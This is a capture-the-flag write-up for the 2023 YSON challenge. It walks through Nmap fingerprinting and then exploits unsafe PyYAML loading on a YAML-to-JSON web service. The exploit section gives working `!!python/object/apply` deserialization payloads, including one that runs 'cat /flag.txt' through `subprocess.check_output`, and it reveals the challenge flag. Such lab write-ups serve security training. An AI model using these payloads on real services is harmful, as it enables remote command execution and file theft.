This is a writeup for the Fetch The Flag 2023 YSON challenge.
Challenge notes
Introducing YSON! Need to transform your YAML code into JSON? We’ve got you covered!
Find the flag.txt file in the root of the filesystem.
Press the Start button on the top-right to begin this challenge. Connect with:
http://challenge.ctf.games:30944
Nmap
I use Nmap to fingerprint the HTTP server:
# We don't want to ping it, and just look at the challenge port
nmap \
-Pn \
-p30944 \
--script=+http-title.nse \
--script=+http-server-header.nse \
challenge.ctf.games
Nmap prints the following:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 15:33 JST
Nmap scan report for challenge.ctf.games (34.123.6.222)
Host is up (0.15s latency).
rDNS record for 34.123.6.222: 222.6.123.34.bc.googleusercontent.com
PORT STATE SERVICE
30944/tcp open unknown
|_http-server-header: Werkzeug/3.0.1 Python/3.11.6
|_http-title: YSON: Convert YAML to JSON
Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
This means I must look for Python specific YAML vulnerabilities. I refer to the HackTricks page on Python YAML serialization vulnerabilities.
The site
The YSON site converts YAML to JSON, as advertised. Here’s a sample YAML input:
name: John Doe
age: 30
is_student: false
address:
street: 123 Elm St
city: Springfield
zip: 12345
skills:
- Python
- JavaScript
- SQL
YSON returns the following JSON response:
{
"name": "John Doe",
"age": 30,
"is_student": false,
"address": {
"street": "123 Elm St",
"city": "Springfield",
"zip": 12345
},
"skills": [
"Python",
"JavaScript",
"SQL"
]
}
The following shows a curl
and jq
invocation to test the YSON API from
the command line:
curl 'http://challenge.ctf.games:30944/' \
--silent \
-X POST \
--data-urlencode "yaml_input@example_input.yaml" |
jq "., (.data | fromjson)"
This prints the following:
{
"data": "{\n \"name\": \"John Doe\",\n \"age\": 30,\n \"is_student\": false,\n \"address\": {\n \"street\": \"123 Elm St\",\n \"city\": \"Springfield\",\n \"zip\": 12345\n },\n \"skills\": [\n \"Python\",\n \"JavaScript\",\n \"SQL\"\n ]\n}",
"status": "success"
}
Here are the contents of the data
property, parsed as JSON:
{
"name": "John Doe",
"age": 30,
"is_student": false,
"address": {
"street": "123 Elm St",
"city": "Springfield",
"zip": 12345
},
"skills": [
"Python",
"JavaScript",
"SQL"
]
}
Exploit
I attempt to use the Vulnerable .load("<content>") without Loader method from the HackTricks page.
I test whether the YSON API is vulnerable with the following command:
set -l bad_input '
!!python/object/apply:builtins.range
- 1
- 10
- 1
'
curl 'http://challenge.ctf.games:30944/' \
--silent \
-X POST \
--data-urlencode "yaml_input=$bad_input" |
jq "., (.data | fromjson)"
The YSON API returns a Python range()
object. This tells me that the API
is vulnerable. This YAML deserialization vulnerability lets me run
arbitrary external commands using subprocess.check_output
.
I proceed to print out the contents of /flag.txt
with
the following YAML payload:
set -l bad_input '!!python/object/apply:subprocess.check_output
args: [["cat", "/flag.txt"]]
kwds: {"encoding": "utf-8"}
'
curl 'http://challenge.ctf.games:30944/' \
--silent \
-X POST \
--data-urlencode "yaml_input=$bad_input" |
jq "., (.data | fromjson)"
This prints out the following flag:
flag{6766066cea624a90b1ae5b47a4a320d9}